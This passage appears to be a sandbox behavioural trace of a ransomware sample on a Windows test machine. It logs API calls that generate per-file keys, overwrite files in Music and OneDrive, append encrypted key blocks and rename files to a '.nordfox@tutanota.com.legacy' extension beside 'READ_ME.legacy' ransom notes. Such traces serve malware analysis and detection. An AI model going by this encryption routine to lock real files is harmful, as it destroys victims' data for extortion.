dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0112.571] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6763) returned 1 [0112.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a6b) returned 0x5e9bd0 [0112.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a6b) returned 0x5eb648 [0112.572] ReadFile (in: hFile=0x5f8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a6b, lpOverlapped=0x0) returned 1 [0112.573] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-6763, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.573] WriteFile (in: hFile=0x5f8, lpBuffer=0x5eb648*, nNumberOfBytesToWrite=0x1a6b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eb648*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a6b, lpOverlapped=0x0) returned 1 [0112.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eb648 | out: hHeap=0x520000) returned 1 [0112.573] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a6b [0112.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.574] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.574] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.574] CloseHandle (hObject=0x5f8) returned 1 [0112.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.574] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\KXHVVFp3mvrAVi5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\kxhvvfp3mvravi5.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\KXHVVFp3mvrAVi5.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\kxhvvfp3mvravi5.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.576] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0112.576] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0112.576] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.577] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.577] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.577] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.577] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.577] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0112.577] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0112.577] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0112.577] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0112.578] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=504) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x5646a8 [0112.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x52f438 [0112.578] ReadFile (in: hFile=0x5f8, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0112.579] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.579] WriteFile (in: hFile=0x5f8, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0112.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0112.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0112.580] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f8 [0112.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.580] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.580] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.581] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.581] CloseHandle (hObject=0x5f8) returned 1 [0112.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.581] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Music\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0112.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0112.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0112.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0112.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0112.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0112.584] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\6WIa6Jjj.mp3", dwFileAttributes=0x80) returned 1 [0112.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ab0 [0112.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.584] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\6WIa6Jjj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\6wia6jjj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f8 [0112.584] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12708) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x31a4) returned 0x5e9bd0 [0112.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x31a4) returned 0x5ecd80 [0112.585] ReadFile (in: hFile=0x5f8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x31a4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x31a4, lpOverlapped=0x0) returned 1 [0112.586] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=-12708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.586] WriteFile (in: hFile=0x5f8, lpBuffer=0x5ecd80*, nNumberOfBytesToWrite=0x31a4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ecd80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x31a4, lpOverlapped=0x0) returned 1 [0112.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ecd80 | out: hHeap=0x520000) returned 1 [0112.586] SetFilePointer (in: hFile=0x5f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x31a4 [0112.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.587] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.587] WriteFile (in: hFile=0x5f8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.587] CloseHandle (hObject=0x5f8) returned 1 [0112.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0112.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0112.587] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\6WIa6Jjj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\6wia6jjj.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\6WIa6Jjj.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\6wia6jjj.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab0 | out: hHeap=0x520000) returned 1 [0112.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0112.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0112.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0112.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0112.595] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37d6250, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0112.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d640 | out: hHeap=0x520000) returned 1 [0112.595] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd206de97, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd206de97, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37d6250, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0112.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.595] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5ad8 [0112.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0112.595] GetLastError () returned 0x5 [0112.596] SetLastError (dwErrCode=0x5) [0112.596] GetLastError () returned 0x5 [0112.596] SetLastError (dwErrCode=0x5) [0112.596] GetLastError () returned 0x5 [0112.596] SetLastError (dwErrCode=0x5) [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6518 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6518 | out: hHeap=0x520000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.596] FindNextFileW (in: hFindFile=0x5c5ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0112.596] GetLastError () returned 0x5 [0112.596] SetLastError (dwErrCode=0x5) [0112.596] GetLastError () returned 0x5 [0112.596] SetLastError (dwErrCode=0x5) [0112.596] GetLastError () returned 0x5 [0112.597] SetLastError (dwErrCode=0x5) [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6718 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6718 | out: hHeap=0x520000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0112.597] FindNextFileW (in: hFindFile=0x5c5ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0112.597] GetLastError () returned 0x5 [0112.597] SetLastError (dwErrCode=0x5) [0112.597] GetLastError () returned 0x5 [0112.597] SetLastError (dwErrCode=0x5) [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0112.597] GetLastError () returned 0x5 [0112.597] SetLastError (dwErrCode=0x5) [0112.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.598] FindNextFileW (in: hFindFile=0x5c5ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2098343, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0112.598] GetLastError () returned 0x5 [0112.598] SetLastError (dwErrCode=0x5) [0112.598] GetLastError () returned 0x5 [0112.598] SetLastError (dwErrCode=0x5) [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0112.598] GetLastError () returned 0x5 [0112.598] SetLastError (dwErrCode=0x5) [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0112.598] FindNextFileW (in: hFindFile=0x5c5ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2098343, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0112.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0112.598] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0112.598] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0112.598] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0112.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.605] CreateFileW (lpFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5fc [0112.605] GetFileSizeEx (in: hFile=0x5fc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=97) returned 1 [0112.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x61) returned 0x56f118 [0112.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x61) returned 0x5698c8 [0112.605] ReadFile (in: hFile=0x5fc, lpBuffer=0x56f118, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x61, lpOverlapped=0x0) returned 1 [0112.606] SetFilePointer (in: hFile=0x5fc, lDistanceToMove=-97, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.606] WriteFile (in: hFile=0x5fc, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x61, lpOverlapped=0x0) returned 1 [0112.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f118 | out: hHeap=0x520000) returned 1 [0112.606] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5698c8 | out: hHeap=0x520000) returned 1 [0112.606] SetFilePointer (in: hFile=0x5fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x61 [0112.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 